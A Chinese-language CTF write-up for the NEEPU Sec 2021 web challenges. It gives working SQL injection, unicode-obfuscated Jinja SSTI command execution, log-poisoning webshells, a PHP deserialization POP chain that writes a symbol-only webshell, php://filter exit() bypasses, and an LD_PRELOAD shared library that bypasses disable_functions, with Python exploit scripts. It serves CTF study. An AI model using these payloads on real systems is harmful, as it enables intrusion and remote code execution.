[NEEPU Sec 2021 公开赛]WP 前言: 这哪是新生赛呀,web
方向题目难度还是特别高的,但是复现之后感觉质量真的挺高的,这里记录下感觉有点意思的题目
随便注2.0 这里过滤了上传用了的字符:
1 return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
但还是先注出一些有用的数据先把:
1 2 3 0%27;show%0ddatabases;%23 0%27;show%0dtables;%23 得到:"@Neepu2021招新赛"和"words"
1 0%27;show%0dcolumns%0dfrom%0dwords;%23
1 0%27;show%0dcolumns%0dfrom%0d`@Neepu2021招新赛`;%23
但是当我们输入1读取数据的时候,是一个2个数据的数组,所以这里就对应words
列里面的字段,即默认查询words
里面的数据,原题就可以使用rename
把@Neepu2021招新赛
修改为words
就可以读取了,但这里被过滤了,原题还可以使用PDO预编译,虽然这里过滤了set
,但是其实不用set
也可以,payload:如下:
1 0';PREPARE w0s1np from concat('sel','ect flag from `@Neepu2021招新赛`');EXECUTE w0s1np;%23
这里是为了看没有绕过空格,使用的时候直接把空格改成%0d
即可
The_myth_of_Aladdin 知识点:
绕过{{}}` 空格 `.` `_`
这里可以采用`unicode`的方法进行绕过
![a](https://woshilnp.github.io/wzimg/273.png)
发现可以利用`{%print%}`绕过`{{}}
然后过滤了关键字,尝试用编码绕过,发现就unicode
编码能绕过,大致payload如下:
1 2 3 4 5 6 7 8 9 10 {%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u006c\u0073")["\u0072\u0065\u0061\u0064"]())%} {%print(""["__class__"] ["__base__"] ["__subclasses__"]() [132]["__init__"] ["__globals__"] ["popen"] ("ls") ["read"]())%}
ls
命令可以成功执行,但当我们尝试读取flag
的时候却不行,估计过滤了常见命令,可以使用base64 /f*
绕过
最后payload:
1 2 3 4 5 6 7 8 9 10 {%print(""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[132]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]["\u0070\u006f\u0070\u0065\u006e"]("\u0062\u0061\u0073\u0065\u0036\u0034\u0020\u002f\u0066\u002a")["\u0072\u0065\u0061\u0064"]())%} {%print(""["__class__"] ["__base__"] ["__subclasses__"]() [132]["__init__"] ["__globals__"] ["popen"] ("base64 /f*") ["read"]())%}
还有一个读取文件的方法:cut 截断数组带出
1 2 ("c""ut%09-c%092-40%09/fl""ag") 即("cut -c 2-40 /flag")
gamebox 知识点:
SQL万能密码
日志包含
上来一个登录框(只有username),猜测后台的SQL语句为select * from user where username = '$username'
,但是ban
了很多字符,如or
、||
、#
、--
等等,这里把可以通过a'='0
登陆上去,原理就是username=a
为null
,null=a
为true
然后就是猜正反
然后查看服务器是nginx
服务,就去包含日志文件:/var/log/nginx/access.log
然后就在User-Agent
包含一句话木马
然后连蚂蚁的剑就行了
serialize_club 知识点:
任意文件读取
反序列化链构造
session_upload_progress
构造session
反序列化
无字母webshell
getshell
提权读取flag
进去查看原代码,发现
存在任意文件读取,读取functions/file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php header('content-type:image/jpeg' ); $filename = $_GET ['file' ];$dirname = '/var/www/html/' ;if (!preg_match('/^\/|\/$|\.\//' , $filename )){ $file = file_get_contents($dirname .$filename ); echo $file ; } else { die ('Read fail :(' ); }
发现不允许目录穿越,只允许在/var/www/html
这里
然后尝试读取index.php
, 发现可以读取同时包含了config/backdoor.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting(0 ); include "config/backdoor.php" ;ini_set('session.serialize_handler' ,'php' ); session_start(); class neepu { protected $neepu , $data , $info ; public function __construct ( ) { $this ->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>" ; $this ->info['info' ] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>" ; } public function checkinfo ( ) { if (!isset ($_POST ['info' ])) { echo $this ->neepu; }else { echo $this ->info['info' ]; phpinfo(); } } public function __call ($name ,$args ) { echo $this ->neepu; } public function __toString ( ) { $this ->info['info' ]->data; return "Neepu!" ; } } class n33pu { public $func ; public function __get ($args ) { $Neepu = $this ->func; return $Neepu (); } } class dumb { public $dumb ; public function silly ( ) { echo "Who care about it?" ; } public function __destruct ( ) { $this ->dumb->silly(); } } $Neepu = new neepu();echo $Neepu ->checkinfo();?>
读取config/backdoor.php
,发现是个后门写入,但是只能通过一些特殊字符组成webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class backdoor { protected $cmd ; public function __invoke ( ) { if (preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i' ,$this ->cmd)) { file_put_contents("/var/www/html/neepu.php" , "<?php " .$this ->cmd); } else { die ("A webshell is waiting for you" ); } } }
整合一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php include "config/backdoor.php" ;ini_set('session.serialize_handler' ,'php' ); session_start(); highlight_file(__FILE__ ); class neepu { protected $neepu , $data , $info ; public function __construct ( ) { $this ->neepu = "<h1>Welcome to serialize club :)</h1>" ; $this ->info['info' ] = "<h1>This is PHPINFO</h1>" ; } public function checkinfo ( ) { if (!isset ($_POST ['info' ])) { echo $this ->neepu; }else { echo $this ->info['info' ]; phpinfo(); } } public function __call ($name ,$args ) { echo $this ->neepu; } public function __toString ( ) { $this ->info['info' ]->data; return "Neepu!" ; } } class n33pu { public $obj ; public function __get ($args ) { $Neepu = $this ->obj; return serialize($Neepu ); } } class dumb { public $dumb ; public function silly ( ) { echo "Who care about it?" ; } public function __destruct ( ) { $this ->dumb->silly(); } } class backdoor { protected $cmd ; public function __invoke ( ) { if (preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i' ,$this ->cmd)) { file_put_contents("/var/www/html/neepu.php" , "<?php " .$this ->cmd); } else { die ("A webshell is waiting for you" ); } } } $Neepu = new neepu();echo $Neepu ->checkinfo();
先POST一个info
查看phpinfo
:
这里使用两个引擎来分别处理就存在SESSION反序列化漏洞
因为我们需要使用这个后门,就需要调用到__invoke
魔术方法,就需要构造POP链
1 2 3 4 5 6 7 8 9 class silly -> __destruct ↓↓↓ class neepu -> __call -> 建立neepu对象echo触发__toString ↓↓↓ class neepu -> __toString -> 建立n33pu对象访问不存在的变量触发__get ↓↓↓ class n33pu -> __get -> $Neepu() -> 建立backdoor对象以函数形式调用backdoor对象触发__invoke ↓↓↓ class backdoor -> __invoke -> 写入 webshell
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php ini_set('session.serialize_handler' ,'php_serialize' ); session_start(); class neepu { public $data , $neepu , $info ; public function __construct ( ) { $this ->info['info' ] = new n33pu(); } } class n33pu { public $func ; } class backdoor { public $cmd = '$_=[];$_=@"$_";$_=$_["!"=="@"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____="_";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);' ; } class dumb { public $dumb ; } $a = new backdoor();$b = new neepu();$b ->neepu = new neepu();$b ->neepu->info['info' ]->func = $a ;$c = new dumb();$c ->dumb = $b ;$z = serialize($c );echo '|' .str_replace('"' , '\\"' , $z );
为了防止双引号被转义,在双引号前加上 \
,除此之外还要加上 |
构造一个上传数据的页面upload.html
为什么能构造一个前端的东西上传东西呢,我之前也遇到过,查了下,是因为
由phpinfo()
页面知,session.upload_progress.enabled
为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name
同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress
来设置session
。
所以可以在前端构造upload.html
:
1 2 3 4 5 <form action ="http://neepusec.club:18930/index.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="123" /> <input type ="file" name ="file" /> <input type ="submit" /> </form >
然后抓包修改filename
getshell
以后访问neepu.php
,之前在phpinfo
里发现还有passthru
可以使用
但是在根目录没有发现flag
,猜测在/root
里面,需要我们SUID
提权
详情参考:
https://www.anquanke.com/post/id/242237#h3-13
upload_club 知识点:
数组[
解析变量名:
通过[
来使得php
认为传入的是数组从而绕过 .
变成 _
的转换
二次编码绕过:
其实就是因为file_put_contents
经过伪代码处理只进行了一次url
加密,
过滤器绕死亡函数exit
:
参考https://woshilnp.github.io/2021/05/23/详解php-filter以及死亡绕过
file_get_contents
与 require_once
的 Data URL
识别:
1 file_get_contents 允许使用 data URI,会直接返回后面的内容,很奇怪的是,在 allow_url_include=Off 的情况下,不允许 require_once data URI 的,但是如果 `data:,XXX` 是一个目录名的话,就会放开限制。
测试效果如下:
df
绕过:
用 mail() 函数 绕过
PHP 的 mail()
函数调用 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...)
。由于这种实现,如果我们使用自写动态库设置环境变量 LD_PRELOAD
,从而修改 /bin/sh
的行为并获得命令执行。
解题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <title>neepu_sec.club</title> <body background="bg.jpg" > <font color="green" ><h1>Welcome to neepu sec club, try to upload your content :)</h1></font> <font size = 5 ><p>Here is <a href="source.php" >source</a> and <a href="uploads/sample/sample.txt" >sample</a></p></font> <?php error_reporting(0 ); $uploadclub = (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ? $_SERVER ['HTTP_X_FORWARDED_FOR' ] : md5($_SERVER ['REMOTE_ADDR' ]));$uploadclub = basename(str_replace(['.' ,'-' ,'(' ,'`' ,'<' ],['' ,'' ,'' ,'' ,'' ], $uploadclub ));@mkdir('uploads/' .$uploadclub ); @chdir('uploads/' .$uploadclub ); print_r("Upload: uploads/" .$uploadclub ); $check = file_get_contents('php://input' );if (preg_match('/25/' , $check )) { die ("<br />No more 25 :(" ); }else { extract($_POST ); foreach ($_POST as $key => $value ) { $key = $value ; } } if (isset ($_POST ['neepu_sec.club' ])) { $content = $key ; if (preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib|string|tripledes|ini|htaccess|\\|#|\<\?/i' , $content )) { die ('<br />hacker!!!' ); } $content = str_replace('.php' ,'neepu' ,$content ); $content = str_replace('.phtml' ,'neepu' ,$content ); file_put_contents($content ,'<?php exit();' .$content ); chdir('..' ); if (!stripos(file_get_contents($content ),'<?' ) && !stripos(file_get_contents($content ),'php' )) { require_once ($content ); } }else { chdir(__DIR__ ); @rmdir('uploads/' .$uploadclub ); } ?>
通过上面知识点可以写入并包含 shell 文件
1 2 3 # phpinfo() neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?%3Chp%20phpipfn(o;)%3E?/resource=w0s1np X-Forwarded-For: data:,123456
然后再包含该文件
1 neepu[sec.club=data:,123456/w0s1np
查看 disable_functions
1 passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,chmod,posix_mkfifo,pg_lo_import,dbmopen,dbase_open,define_syslog_variables,posix_getpwuid,posix_uname,proc_close,pclose,proc_nice,proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,fopen,copy,rename,readfile,tmpfile,tempnam,touch,link,file,ftp_connect,ftp_ssl_connect
用 mail() 函数 绕过
PHP 的 mail()
函数调用 execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], ...)
。由于这种实现,如果我们使用自写动态库设置环境变量 LD_PRELOAD
,从而修改 /bin/sh
的行为并获得命令执行。
即使 /usr/sbin/sendmail
不存在,也可以使用,重写 getuid()
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload (char *cmd) { char buf[512 ]; strcpy (buf, cmd); strcat (buf, " > /tmp/_0utput.txt" ); system(buf);} int getuid () { char *cmd; if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); if ((cmd = getenv("_evilcmd" )) != NULL ) { payload(cmd); } return 1 ; }
编译
1 gcc -Wall -fPIC -shared -o evil.so evil.c -ldl
采用 move_uploaded_file
函数进行多文件上传,最后在根目录下找到 getflag
和 flag
,访问 /getflag
得到 flag
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport reurl = "http://neepusec.club:18762/index.php" def upload (): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0" , "X-Forwarded-For" : "data:,123456" , "Content-Type" : "application/x-www-form-urlencoded" , } upload = "neepu[sec.club=php://filter/write=convert.%6%39conv.%5%35CS-2LE.%5%35CS-2BE|?<hp pomevu_lpaoed_difel$(F_LISE'[veli]''[mt_panem]'',t/pme/iv_lil'b;)upetvn'(DLP_EROLDA/=mt/pvelil_bi)'p;tune(v_\"velimc=dg/telfga)\"m;ia(la','a','a')'e;hc oifelg_tec_noettn(s/'mt/p0_tuup.txt't;)>?/resource=w0s1np" res = requests.post(url=url, headers=headers, data=upload) def require (): headers = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0" , "X-Forwarded-For" : "data:,123456" , } require_once = {"neepu[sec.club" : "data:,123456/w0s1np" } files = {"evil" : open ("./evil.so" , "rb" )} res = requests.post(url=url, headers=headers, data=require_once, files=files) print (res.text) if __name__ == '__main__' : upload() neepu = require()
atao
WP如下:
1.这里利用了 file_get_contents('php://input')
方式获取了POST的所有内容,然后去匹配, 如果存在25
则结束,但是这里有个缺陷,如果POST上传的形式不是 application/x-www-formurlencoded
而是 multipart/form-data
则获取不到POST请求参数可以绕过这里。
2.这里有个 neepu_sec.club
POST
请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一 下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = "http://127.0.0.1/ceshi/a.php" for i in range (32 ,128 ): for j in range (32 ,128 ): data = { 'neepu' +chr (i)+'sec' +chr (j)+'club' :123 } res = requests.post(url=url,data=data) if "neepu_sec.club" in res.text: print 'neepu' +chr (i)+'sec' +chr (j)+'club' exit(0 )
3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编 码绕过 base64
、 string
,使用php
伪协议 php://filter
,但是需要写入文件,这里我利用的过滤器 是 string.strip_tags|convert.base64-decode
,最后 resource
配置为 ? >PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt
,这里使用 ?>
闭合前面的php
代码,则他们都会被 string.strip_tags
过滤器删除,接着 base64
过滤器将剩下的字符进行解码,则获得一句话木马
4.这里看似不能用<?
和 php
,但是如果文件是以 <?
开头则可以绕过,而不能用 php
的话,使用短标签 <?=?>
即可
接下来是详细步骤,先上传了一句话木马
然后去包含它,执行phpinfo()
时发现过滤好多函数,看来是要绕过df
了
然后atao
师傅利用了一个绕php7
的df
文件,将它通过file_put_contents
函数写入。
访问根目录下,有个getflag
的文件,执行就获得flag